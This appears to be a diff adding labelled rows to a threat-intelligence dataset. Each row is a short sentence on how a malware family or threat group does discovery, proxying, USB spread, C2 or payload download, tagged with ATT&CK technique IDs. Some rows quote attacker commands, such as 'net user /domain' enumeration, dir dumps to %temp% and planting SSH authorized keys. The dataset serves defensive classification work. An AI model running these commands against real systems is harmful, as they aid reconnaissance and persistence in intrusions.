+WarzoneRAT can enumerate directories on a compromise host.	['T1083']
+WastedLocker can enumerate files and directories just prior to encryption.	['T1083']
+WhisperGate can locate files based on hardcoded file extensions.	['T1083']
+WinMM sets a WH_CBT Windows hook to search for and capture files on the victim.	['T1083']
+WindTail has the ability to enumerate the users home directory and the path to its own application bundle.	['T1083']
+Windigo has used a script to check for the presence of files created by OpenSSH backdoors.	['T1083']
+Winnti Group has used a program named ff.exe to search for specific documents on compromised hosts.	['T1083']
+Winnti for Windows can check for the presence of specific files prior to moving to the next phase of execution.	['T1083']
+"XAgentOSX contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory. XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running ""ls -la ~/Library/Application\ Support/MobileSync/Backup/""."	['T1083']
+XCSSET has used `mdfind` to enumerate a list of apps known to grant screen sharing permissions.	['T1083']
+"Zebrocy searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. Zebrocy also runs the ""echo %APPDATA%"" command to list the contents of the directory. Zebrocy can obtain the current execution path as well as perform drive enumeration."	['T1083']
+Zox can enumerate files on a compromised host.	['T1083']
+ZxShell has a command to open a file manager and explorer on the system.	['T1083']
+"admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about files and directories: ""dir c:\ >> %temp%\download"" ""dir ""c:\Documents and Settings"" >> %temp%\download"" ""dir ""c:\Program Files\"" >> %temp%\download"" ""dir d:\ >> %temp%\download"""	['T1083']
+ccf32 can parse collected files to identify specific file extensions.	['T1083']
+"cmd can be used to find files and directories with native functionality such as ""dir"" commands."	['T1083']
+down_new has the ability to list the directories on a compromised host.	['T1083']
+jRAT can browse file systems.	['T1083']
+menuPass has searched compromised systems for folders of interest including those related to HR, audit and expense, and meeting memos.	['T1083']
+njRAT can browse file systems using a file manager module.	['T1083']
+zwShell can browse the file system.	['T1083']
+"APT29 obtained a list of users and their roles from an Exchange server using ""Get-ManagementRoleAssignment""."	['T1087']
+XCSSET attempts to discover accounts from various locations such as a user's Evernote, AppleID, Telegram, Skype, and WeChat data.	['T1087']
+"APT1 used the commands ""net localgroup"",""net user"", and ""net group"" to find accounts on the system."	['T1087.001']
+APT3 has used a tool that can obtain info about local and global group users, power users, and administrators.	['T1087.001']
+"APT32 enumerated administrative users using the commands ""net localgroup administrators""."	['T1087.001']
+Agent Tesla can collect account information from the victim’s machine.	['T1087.001']
+Bankshot gathers domain and account names/information through process monitoring.	['T1087.001', 'T1087.002']
+Bazar can identify administrator accounts on an infected host.	['T1087.001']
+BitPaymer can enumerate the sessions for each user logged onto the infected host.	['T1087.001']
+"Chimera has used ""net user"" for account discovery."	['T1087.001']
+"Commands under ""net user"" can be used in Net to gather information about and manipulate user accounts."	['T1087.001']
+During Operation CuckooBees, the threat actors used the `net user` command to gather account information.	['T1087.001']
+"Elise executes ""net user"" after initial communication is made to the remote server."	['T1087.001']
+Empire can acquire local and domain user account information.	['T1087.001', 'T1087.002']
+Epic gathers a list of all user accounts, privilege classes, and time of last logon.	['T1087.001']
+HyperStack can enumerate all account names on a remote share.	['T1087.001']
+InvisiMole has a command to list account information on the victim’s machine.	['T1087.001']
+Kazuar gathers information on local groups and members on the victim’s machine.	['T1087.001']
+"Ke3chang performs account discovery using commands such as ""net localgroup administrators"" and ""net group ""REDACTED"" /domain"" on specific permissions groups."	['T1087.001', 'T1087.002']
+"Kwampirs collects a list of accounts with the command ""net users""."	['T1087.001']
+MURKYTOP has the capability to retrieve information about users on remote hosts.	['T1087.001']
+Milan has run `C:\Windows\system32\cmd.exe /c cmd /c dir c:\users\ /s 2>&1` to discover local accounts.	['T1087.001']
+"Mis-Type may create a file containing the results of the command ""cmd.exe /c net user {Username}""."	['T1087.001']
+OSInfo enumerates local and domain users	['T1087.001', 'T1087.002']
+"OilRig has run ""net user"", ""net user /domain"", ""net group “domain admins” /domain"", and ""net group “Exchange Trusted Subsystem” /domain"" to get account listings on a victim."	['T1087.001', 'T1087.002']
+P.A.S. Webshell can display the /etc/passwd file on a compromised host.	['T1087.001']
+POWERSTATS can retrieve usernames from compromised hosts.	['T1087.001']
+PUNCHBUGGY can gather user names.	['T1087.001']
+"Pony has used the ""NetUserEnum"" function to enumerate local accounts."	['T1087.001']
+Poseidon Group searches for administrator accounts on both the local victim machine and the network.	['T1087.001', 'T1087.002']
+PoshC2 can enumerate local and domain user account information.	['T1087.001', 'T1087.002']
+"RATANKBA uses the ""net user"" command."	['T1087.001']
+Remsec can obtain a list of users.	['T1087.001']
+S-Type has run the command `net user` on a victim.	['T1087.001']
+"SMOKEDHAM has used ""net.exe user"" and ""net.exe users"" to enumerate local accounts on a compromised host."	['T1087.001']
+Stuxnet enumerates user accounts of the local host.	['T1087.001']
+TrickBot collects the users of the system.	['T1087.001']
+"Turla has used ""net user"" to enumerate local accounts on the system."	['T1087.001']
+AdFind can enumerate domain users.	['T1087.002']
+Bazar has the ability to identify domain administrator accounts.	['T1087.002']
+BloodHound can collect information about domain users, including identification of domain admin accounts.	['T1087.002']
+BoomBox has the ability to execute an LDAP query to enumerate the distinguished name, SAM account name, and display name for all domain users.	['T1087.002']
+CrackMapExec can enumerate the domain user accounts on a targeted system.	['T1087.002']
+Dragonfly 2.0 used batch scripts to enumerate users on a victim domain controller.	['T1087.002']
+Dragonfly has used batch scripts to enumerate users on a victim domain controller.	['T1087.002']
+During Operation Wocao, threat actors used the `net` command to retrieve information about domain accounts.	['T1087.002']
+LAPSUS$ has used the AD Explorer tool to enumerate users on a victim's network.	['T1087.002']
+Lazarus Group has queried an active directory server to obtain the list of accounts, including administrator accounts.	['T1087.002']
+"MuddyWater has used ""cmd.exe net user /domain"" to enumerate domain users."	['T1087.002']
+"Net commands used with the ""/domain"" flag can be used to gather information about and manipulate user accounts on the current domain."	['T1087.002']
+"Operation Wocao has used the ""net"" command to retrieve information about domain accounts."	['T1087.002']
+"POWRUNER may collect user account information by running ""net user /domain"" or a series of other commands on a victim."	['T1087.002']
+SILENTTRINITY can use `System.Security.AccessControl` namespaces to retrieve domain user information.	['T1087.002']
+Sandworm Team has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD.	['T1087.002']
+"SoreFang can enumerate domain accounts via ""net.exe user /domain""."	['T1087.002']
+Stuxnet enumerates user accounts of the domain.	['T1087.002']
+The IceApple Active Directory Querier module  can perform authenticated requests against an Active Directory server.	['T1087.002']
+"Turla has used ""net user /domain"" to enumerate domain accounts."	['T1087.002']
+Valak has the ability to enumerate domain admin accounts.	['T1087.002']
+dsquery can be used to gather information on user accounts within a domain.	['T1087.002']
+menuPass has used the Microsoft administration tool csvde.exe to export Active Directory data.	['T1087.002']
+Backdoor.Oldrea collects address book information from Outlook.	['T1087.003']
+BoomBox can execute an LDAP query to discover e-mail accounts for domain users.	['T1087.003']
+Emotet has been observed leveraging a module that can scrape email addresses from Outlook.	['T1087.003']
+Lizar can collect email accounts from Microsoft Outlook and Mozilla Thunderbird.	['T1087.003']
+Magic Hound has used Powershell to discover email accounts.	['T1087.003']
+"MailSniper can be used to obtain account names from Exchange and Office 365 using the ""Get-GlobalAddressList"" cmdlet."	['T1087.003']
+Ruler can be used to enumerate Exchange users and dump the GAL.	['T1087.003']
+TrickBot collects email addresses from Outlook.	['T1087.003']
+AADInternals can enumerate Azure AD users.	['T1087.004']
+APT41 used a tool called CLASSFON to covertly proxy network communications.	['T1090']
+BADCALL functions as a proxy server between the victim and C2 server.	['T1090']
+Dridex contains a backconnect module for tunneling network traffic through a victim's computer. Infected computers become part of a P2P botnet that can relay C2 traffic to other infected peers.	['T1090']
+Earth Lusca adopted Cloudflare as a proxy for compromised servers.	['T1090']
+FLIPSIDE is a simple proxy that creates an outbound RDP connection.	['T1090']
+For Operation Sharpshooter, the threat actors used the ExpressVPN service to hide their location.	['T1090']
+Fox Kitten has used the open source reverse proxy tools including FRPC and Go Proxy to establish connections from C2 to local servers.	['T1090']
+Gazer identifies a proxy server if it exists and uses it to make HTTP requests.	['T1090']
+HOPLIGHT has multiple proxy options that mask traffic between the malware and the remote operators.	['T1090']
+HTRAN can proxy TCP socket connections to obfuscate command and control infrastructure.	['T1090']
+KOCTOPUS has deployed a modified version of Invoke-Ngrok to expose open local ports to the Internet.	['T1090']
+LAPSUS$ has leverage NordVPN for its egress points when targeting intended victims.	['T1090']
+NETWIRE can implement use of proxies to pivot traffic.	['T1090']
+Ngrok can be used to proxy connections to machines located behind NAT or firewalls.	['T1090']
+POLONIUM has used the AirVPN service for operational activity.	['T1090']
+PoshC2 contains modules that allow for use of proxies in command and control.	['T1090']
+QuasarRAT can communicate over a reverse proxy using SOCKS5.	['T1090']
+Remcos uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying.	['T1090']
+SDBbot has the ability to use port forwarding to establish a proxy between a target host and C2.	['T1090']
+SombRAT has the ability to use an embedded SOCKS proxy in C2 communications.	['T1090']
+Ursnif has used a peer-to-peer (P2P) network for C2.	['T1090']
+Vasport is capable of tunneling though a proxy.	['T1090']
+WarzoneRAT has the capability to act as a reverse proxy.	['T1090']
+Windigo has delivered a generic Windows proxy Win32/Glubteta.M. Windigo has also used multiple reverse proxy chains as part of their C2 infrastructure.	['T1090']
+Wizard Spider has used a module named NewBCtestnDll64 as a reverse SOCKS proxy.	['T1090']
+ZxShell can set up an HTTP or SOCKS proxy.	['T1090']
+netsh can be used to set up a proxy tunnel to allow remote host access to an infected host.	['T1090']
+APT39 used custom tools to create SOCK5 and custom protocol proxies between infected hosts.	['T1090.001']
+CHOPSTICK used a proxy server between victims and the C2 server.	['T1090.001']
+Cobalt Strike can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.	['T1090.001']
+Duqu can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.	['T1090.001']
+FatDuke can used pipes to connect machines with restricted internet access to remote machines via other infected hosts.	['T1090.001']
+Higaisa discovered system proxy settings and used them if available.	['T1090.001']
+Hikit supports peer connections.	['T1090.001']
+Lazarus Group has used a compromised router to serve as a proxy between a victim network's corporate and restricted segments.	['T1090.001']
+MiniDuke can can use a named pipe to forward communications from one compromised machine with internet access to other compromised machines.	['T1090.001']
+Mythic can leverage a peer-to-peer C2 profile between agents.	['T1090.001']
+Operation Wocao can proxy traffic through multiple infected systems.	['T1090.001']
+Pay2Key has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.	['T1090.001']
+Strider has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.	['T1090.001']
+"The ""ZJ"" variant of BACKSPACE allows ""ZJ link"" infections with Internet access to relay traffic from ""ZJ listen"" to a command server."	['T1090.001']
+The Winnti for Windows HTTP/S C2 mode can make use of a local proxy.	['T1090.001']
+Turla has compromised internal network systems to act as a proxy to forward traffic to C2.	['T1090.001']
+UNC2452 configured at least one instance of Cobalt Strike to use a network pipe over SMB during the 2020 SolarWinds intrusion.	['T1090.001']
+APT28 used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. APT28 has also used a machine to relay and obscure communications between CHOPSTICK and their server.	['T1090.002']
+An APT3 downloader establishes SOCKS5 connections for its initial C2.	['T1090.002', 'T1095']
+FIN5 maintains access to victim environments by using FLIPSIDE to create a proxy for a backup RDP tunnel.	['T1090.002']
+GALLIUM used a modified version of HTRAN to redirect connections between networks.	['T1090.002']
+Lazarus Group has used multiple proxies to obfuscate network traffic from victims.	['T1090.002']
+MuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. MuddyWater has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).	['T1090.002']
+Mythic can leverage a modified SOCKS5 proxy to tunnel egress C2 traffic.	['T1090.002']
+Okrum can identify proxy servers configured and used by the victim, and use it to make HTTP requests to C2 its server.	['T1090.002']
+POWERSTATS has connected to C2 servers through proxies.	['T1090.002']
+QakBot has a module that can proxy C2 communications.	['T1090.002']
+Silence has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\Socks5.	['T1090.002']
+The Winnti for Windows HTTP/S C2 mode can make use of an external proxy.	['T1090.002']
+Tonto Team has routed their traffic through an external server in order to obfuscate their location.	['T1090.002']
+TrickBot has been known to reach a command and control server via one of nine proxy IP addresses.	['T1090.002']
+menuPass has used a global service provider's IP as a proxy for C2 traffic from a victim.	['T1090.002']
+A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network and has also used TOR.	['T1090.003']
+APT28 has routed traffic over Tor and VPN servers to obfuscate their activities.	['T1090.003']
+CostaRicto has used a layer of proxies to manage C2 communications.	['T1090.003']
+Cyclops Blink has used Tor nodes for C2 traffic.	['T1090.003']
+Dok downloads and installs Tor via homebrew.	['T1090.003']
+Dridex can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.	['T1090.003']
+During Operation Wocao, threat actors executed commands through the installed web shell via Tor exit nodes.	['T1090.003']
+FIN4 has used Tor to log in to victims' email accounts.	['T1090.003']
+GreyEnergy has used Tor relays for Command and Control servers.	['T1090.003']
+Inception used chains of compromised routers to proxy C2 communications between them and cloud service providers.	['T1090.003']
+Industroyer used Tor nodes for C2.	['T1090.003']
+MacSpy uses Tor for command and control.	['T1090.003']
+Operation Wocao has executed commands through the installed web shell via Tor exit nodes.	['T1090.003']
+StrongPity can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.	['T1090.003']
+Traffic traversing the Tor network will be forwarded to multiple nodes before exiting the Tor network and continuing on to its intended destination.	['T1090.003']
+Ursnif has used Tor for C2.	['T1090.003']
+WannaCry uses Tor for command and control traffic.	['T1090.003']
+APT29 has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.	['T1090.004']
+Cobalt Strike has the ability to accept a value for HTTP Host Header to enable domain fronting.	['T1090.004']
+SMOKEDHAM has used a fronted domain to obfuscate its hard-coded C2 server domain.	['T1090.004']
+APT28 uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted.	['T1091']
+APT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.	['T1091']
+Agent.btz drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.	['T1091']
+Conficker variants used the Windows AUTORUN feature to spread through USB propagation.	['T1091']
+Crimson can spread across systems by infecting removable media.	['T1091']
+Darkhotel's selective infector modifies executables stored on removable media as a method of spreading across computers.	['T1091']
+DustySky searches for removable media and duplicates itself onto it.	['T1091']
+FIN7 actors have mailed USB drives to potential victims containing malware that downloads and installs various backdoors, including in some cases for ransomware operations.	['T1091']
+Flame contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality.	['T1091']
+H1N1 has functionality to copy itself to removable media.	['T1091']
+Mustang Panda has used a customized PlugX variant which could spread through USB connections.	['T1091']
+Ramsay can spread itself by infecting other portable executable files on removable drives.	['T1091']
+Stuxnet can propagate via removable media using an autorun.inf file or the CVE-2010-2568 LNK vulnerability.	['T1091']
+USBStealer drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.	['T1091']
+USBferry can copy its installer to attached USB storage devices.	['T1091']
+Ursnif has copied itself to and infected removable drives for propagation.	['T1091']
+njRAT can be configured to spread via removable drives.	['T1091']
+USBStealer drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.	['T1092']
+Anchor has used ICMP in C2 communications.	['T1095']
+Aria-body has used TCP in C2 communications.	['T1095']
+AuTo Stealer can use TCP to communicate with command and control servers.	['T1095']
+BITTER has used TCP for C2 communications.	['T1095']
+BUBBLEWRAP can communicate using SOCKS.	['T1095']
+BackdoorDiplomacy has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.	['T1095']
+Bandook has a command built in to use a raw TCP socket.	['T1095']
+Carbon uses TCP and UDP for C2.	['T1095']
+Cobalt Strike can be configured to use TCP, ICMP, and UDP for C2 communications.	['T1095']
+Cryptoistic can use TCP in communications with C2.	['T1095']
+Derusbi binds to a raw socket on a random source port between 31800 and 31900 for C2.	['T1095']
+Drovorub can use TCP to communicate between its agent and client modules.	['T1095']
+FIN6 has used Metasploit Bind and Reverse TCP stagers.	['T1095']
+FunnyDream can communicate with C2 over TCP and UDP.	['T1095']
+Gelsemium has the ability to use TCP and UDP in C2 communications.	['T1095']
+HAFNIUM has used TCP for C2.	['T1095']
+If NETEAGLE does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, NETEAGLE will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.	['T1095']
+LookBack uses a custom binary protocol over sockets for C2 communications.	['T1095']
+MacMa has used a custom JSON-based protocol for its C&C communications.	['T1095']
+Metamorfo has used raw TCP for C2.	['T1095']
+Mis-Type network traffic can communicate over a raw socket.	['T1095']
+MoonWind completes network communication via raw sockets.	['T1095']
+Mythic supports WebSocket and TCP-based C2 profiles.	['T1095']
+NETWIRE can use TCP in C2 communications.	['T1095']
+Nebulae can use TCP in C2 communications.	['T1095']
+PLATINUM has used the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.	['T1095']
+Pay2Key has sent its public key to the C2 server over TCP.	['T1095']
+PingPull variants have the ability to communicate with C2 servers using ICMP or TCP.	['T1095']
+QuasarRAT can use TCP for C2 communication.	['T1095']
+RCSession has the ability to use TCP and UDP in C2 communications.	['T1095']
+RainyDay can use TCP in C2 communications.	['T1095']
+Remsec is capable of using ICMP, TCP, and UDP for C2.	['T1095']
+SDBbot has the ability to communicate with C2 with TCP over port 443.	['T1095']
+SombRAT has the ability to use TCP sockets to send data and ICMP to ping the C2 server.	['T1095']
+Some Reaver variants use raw TCP for C2.	['T1095']
+Some variants of FakeM use SSL to communicate with C2 servers.	['T1095']
+TSCookie can use ICMP to receive information on the destination server.	['T1095']
+Taidoor can use TCP for C2 communications.	['T1095']
+WINDSHIELD C2 traffic can communicate via TCP raw sockets.	['T1095']
+Winnti for Linux has used ICMP, custom TCP, and UDP in outbound communications.	['T1095']
+Winnti for Windows can communicate using custom TCP.	['T1095']
+gh0st RAT has used an encrypted protocol within TCP segments to communicate with the C2.	['T1095']
+APT3 has been known to add created accounts to local admin groups to maintain elevated access.	['T1098']
+"Kimsuky has added accounts to specific groups with ""net localgroup""."	['T1098']
+Lazarus Group malware WhiskeyDelta-Two contains a function that attempts to rename the administrator’s account.	['T1098']
+Magic Hound granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations.	['T1098', 'T1098.002']
+"Sandworm Team used the ""sp_addlinkedsrvlogin"" command in MS-SQL to create a link between a created account and other servers in the network."	['T1098']
+"The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The ""LSADUMP::ChangeNTLM"" and ""LSADUMP::SetNTLM"" modules can also manipulate the password hash of an account without knowing the clear text value."	['T1098']
+APT29 has added credentials to OAuth Applications and Service Principals.	['T1098.001']
+UNC2452 added credentials to OAuth Applications and Service Principals.	['T1098.001']
+"APT28 has used a Powershell cmdlet to grant the ""ApplicationImpersonation"" role to a compromised account."	['T1098.002']
+"APT29 added their own devices as allowed IDs for active sync using ""Set-CASMailbox"", allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals."	['T1098.002']
+"UNC2452 added their own devices as allowed IDs for active sync using ""Set-CASMailbox"", allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals."	['T1098.002']
+APT29 has granted `company administrator` privileges to a newly created service principal.	['T1098.003']
+"Bundlore creates a new key pair with ""ssh-keygen"" and drops the newly created user key in ""authorized_keys"" to enable remote login."	['T1098.004']
+Earth Lusca has dropped an SSH-authorized key in the `/root/.ssh` folder in order to access a compromised server with SSH.	['T1098.004']
+"Skidmap has the ability to add the public key of its handlers to the ""authorized_keys"" file to maintain persistence on an infected host."	['T1098.004']
+"TeamTNT has added RSA keys in ""authorized_keys""."	['T1098.004']
+"XCSSET will create an ssh key if necessary with the ""ssh-keygen -t rsa -f $HOME/.ssh/id_rsa -P"" command. XCSSET will upload a private key file to the server to remotely access the host without a password."	['T1098.004']
+AADInternals can register a device to Azure AD.	['T1098.005']
+"APT29 registered devices in order to enable mailbox syncing via the ""Set-CASMailbox"" command."	['T1098.005']
+APT32 has used Dropbox, Amazon S3, and Google Drive to host malicious downloads.	['T1102']
+Bazar downloads have been hosted on Google Docs.	['T1102']
+BoomBox can download files from Dropbox using a hardcoded access token.	['T1102']
+Bumblebee has been downloaded to victim's machines from OneDrive.	['T1102']
+Chimera has used Google Cloud's appspot service to host C2 servers.	['T1102']
+Doki has used the dogechain.info API to generate a C2 address.	['T1102']
+During Operation Spalax, the threat actors used OneDrive and MediaFire to host payloads.	['T1102']
+EXOTIC LILY has used file-sharing services including WeTransfer, TransferNow, and OneDrive to deliver payloads.	['T1102']
+Ember Bear has used Discord's content delivery network (CDN) to deliver malware and malicious scripts to a compromised host.	['T1102']
+FIN6 has used Pastebin and Google Storage to host content for their operations.	['T1102']
+"FIN8 has used ""sslip.io"", a free IP to domain mapping service that also makes SSL certificate generation easier for traffic encryption, as part of their command and control."	['T1102']
+Gamaredon Group has used GitHub repositories for downloaders which will be obtained by the group's .NET executable on the compromised system.	['T1102']
+Inception has incorporated at least five different cloud service providers into their C2 infrastructure including CloudMe.	['T1102']
+LazyScripter has used GitHub to host its payloads to operate spam campaigns.	['T1102']
+Mustang Panda has used DropBox URLs to deliver variants of PlugX.	['T1102']
+NETWIRE has used web services including Paste.ee to host payloads.	['T1102']
+SMOKEDHAM has used Google Drive and Dropbox to host files downloaded by victims via malicious links.	['T1102']
+SharpStage has used a legitimate web service for evading detection.	['T1102']
+TeamTNT has leveraged iplogger.org to send collected data back to C2.	['T1102']
+Turla has used legitimate web services including Pastebin, Dropbox, and GitHub for C2 communications.	['T1102']
+WhisperGate can download additional payloads hosted on a Discord channel.	['T1102']
+Astaroth can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook.	['T1102.001']
+BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server.	['T1102.001']
+CharmPower can retrieve C2 domain information from actor-controlled S3 buckets.	['T1102.001']
+Javali can read C2 information from Google Documents and YouTube.	['T1102.001']
+Patchwork hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.	['T1102.001']
+PlugX uses Pastebin to store C2 addresses.	['T1102.001']
+PolyglotDuke can use Twitter, Reddit, Imgur and other websites to get a C2 URL.	['T1102.001']
+RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names.	['T1102.001']
+RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names. RTM has also hidden Pony C2 server IP addresses within transactions on the Bitcoin and Namecoin blockchain.	['T1102.001']
+Some MiniDuke components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.	['T1102.001']
+Xbash can obtain a webpage hosted on Pastebin to update its C2 domain list.	['T1102.001']
+A Turla JavaScript backdoor has used Google Apps Script as its C2 server.	['T1102.002']
+APT12 has used blogs and WordPress for C2 infrastructure.	['T1102.002']
+APT28 has used Google Drive for C2.	['T1102.002']
+APT29 has used social media platforms to hide communications to C2 servers.	['T1102.002']
+APT39 has communicated with C2 through files uploaded to and downloaded from DropBox.	['T1102.002']
+BLUELIGHT can use different cloud providers for its C2.	['T1102.002']
+BoxCaon has used DropBox for C2 communications.	['T1102.002']
+"Carbanak has used a VBScript named ""ggldr"" that uses Google Apps Script, Sheets, and Forms services for C2."	['T1102.002']
+ComRAT has the ability to use the Gmail web UI to receive commands and exfiltrate information.	['T1102.002']
+Comnie uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server.	['T1102.002']
+CreepyDrive can use OneDrive for C2.	['T1102.002']
+Crutch can use Dropbox to receive commands and upload stolen data.	['T1102.002']
+DOGCALL is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.	['T1102.002']
+Empire can use Dropbox and GitHub for C2.	['T1102.002']
+FIN7 used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.	['T1102.002']
+Grandoreiro can utilize web services including Google sites to send and receive C2 data.	['T1102.002']
+HEXANE has used cloud services, including OneDrive, for C2.	['T1102.002']
+KARAE can use public cloud-based storage providers for command and control.	['T1102.002']
+Kazuar has used compromised WordPress blogs as C2 servers.	['T1102.002']
+LOWBALL uses the Dropbox cloud storage service for command and control.	['T1102.002']
+Lazarus Group has used GitHub as C2, pulling hosted image payloads then committing command execution output to files in specific directories.	['T1102.002']
+MuddyWater has used web services including OneHub to distribute remote access tools.	['T1102.002']
+One variant of CloudDuke uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.	['T1102.002']
+Orz has used Technet and Pastebin web pages for command and control.	['T1102.002']
+POORAIM has used AOL Instant Messenger for C2.	['T1102.002']
+RogueRobin has used Google Drive as a Command and Control channel.	['T1102.002']
+SLOWDRIFT uses cloud based services for C2.	['T1102.002']
+Sandworm Team has used the Telegram Bot API from Telegram Messenger to send and receive commands to its Python backdoor. Sandworm Team also used legitimate M.E.Doc software update check requests for sending and receiving commands and hosted malicious payloads on putdrive.com.	['T1102.002']
+The CALENDAR malware communicates through the use of events in Google Calendar.	['T1102.002']
+UBoatRAT has used GitHub and a public blog service in Hong Kong for C2 communications.	['T1102.002']
+ZIRCONIUM has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.	['T1102.002']
+yty communicates to the C2 server by retrieving a Google Doc.	['T1102.002']
+EVILNUM has used a one-way communication method via GitLab and Digital Point to perform C2.	['T1102.003']
+Leviathan has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.	['T1102.003']
+Metamorfo has downloaded a zip file for execution on the system.	['T1102.003']
+OnionDuke uses Twitter as a backup C2.	['T1102.003']
+"The ""tDiscoverer"" variant of HAMMERTOSS establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. HAMMERTOSS binaries contain an algorithm that generates a different Twitter handle for the malware to check for instructions every day."	['T1102.003']
+APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor.	['T1104']
+"BACKSPACE attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs ""louder"" interactions with the malware."	['T1104']
+BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims’ machines.	['T1104']
+Lazarus Group has used multi-stage malware components that inject later stages into separate processes.	['T1104']
+MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back.	['T1104']
+The Bazar loader is used to download and execute the Bazar backdoor.	['T1104']
+Valak can download additional modules and malware capable of using separate C2 channels.	['T1104']
+APT29 has downloaded additional tools, such as TEARDROP malware and Cobalt Strike, to a compromised host following initial access.	['T1105']
+APT33 has downloaded additional files and programs from its C2 server.	['T1105']
+APT34 can download remote files onto victims.	['T1105']
+APT37 has downloaded second stage malware from compromised websites.	['T1105']
+APT38 used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim’s machine.	['T1105']
+APT39 has downloaded tools to compromised hosts.	['T1105']
+Action RAT has the ability to download additional payloads onto an infected machine.	['T1105']
+Agent.btz attempts to download an encrypted binary from a specified domain.	['T1105']
+Ajax Security Team has used Wrapper/Gholee, custom-developed malware, which downloaded additional malware to the infected system.	['T1105']
+Andariel has downloaded additional tools and malware onto compromised hosts.	['T1105']
+Aria-body has the ability to download additional payloads from C2.	['T1105']
+Astaroth uses certutil and BITSAdmin to download additional malware.	['T1105']
+Attor can download additional plugins, updates and other files.	['T1105']
+AuditCred can download files and additional malware.	['T1105']
+BADFLICK has download files from its C2 server.	['T1105']
+BADNEWS is capable of downloading additional files through C2 channels, including a new version of itself.	['T1105']
+BBK has the ability to download files from C2 to the infected host.	['T1105']
+BISCUIT has a command to download a file from the C2 server.	['T1105']
+BITSAdmin can be used to create BITS Jobs to upload and/or download files.	['T1105']
+BITTER has downloaded additional malware and tools onto a compromised host.	['T1105']
+BLINDINGCAN has downloaded files to a victim machine.	['T1105']
+BLUELIGHT can download additional files onto the host.	['T1105']
+BONDUPDATER can download or upload files from its C2 server.	['T1105']
+BRONZE BUTLER has used various tools to download files, including DGet (a similar tool to wget).	['T1105']
+Backdoor.Oldrea can download additional modules from C2.	['T1105']
+BackdoorDiplomacy has downloaded additional files and tools onto a compromised host.	['T1105']
+BadPatch can download and execute or update malware.	['T1105']
+Bankshot uploads files and secondary payloads to the victim's machine.	['T1105']
+Bazar can download and deploy additional payloads, including ransomware and post-exploitation frameworks such as Cobalt Strike.	['T1105']
+BendyBear is designed to download an implant from a C2 server.	['T1105']
+Bisonal has the capability to download files to execute on the victim’s machine.	['T1105']
+BlackMould has the ability to download files to the victim's machine.	['T1105']
+BoomBox has the ability to download next stage malware components to a compromised system.	['T1105']
+BoxCaon can download files.	['T1105']
+Briba downloads files onto infected hosts.	['T1105']
+Bumblebee can download and execute additional payloads including through the use of a `Dex` command.	['T1105']
+CARROTBALL has the ability to download and install a remote payload.	['T1105']
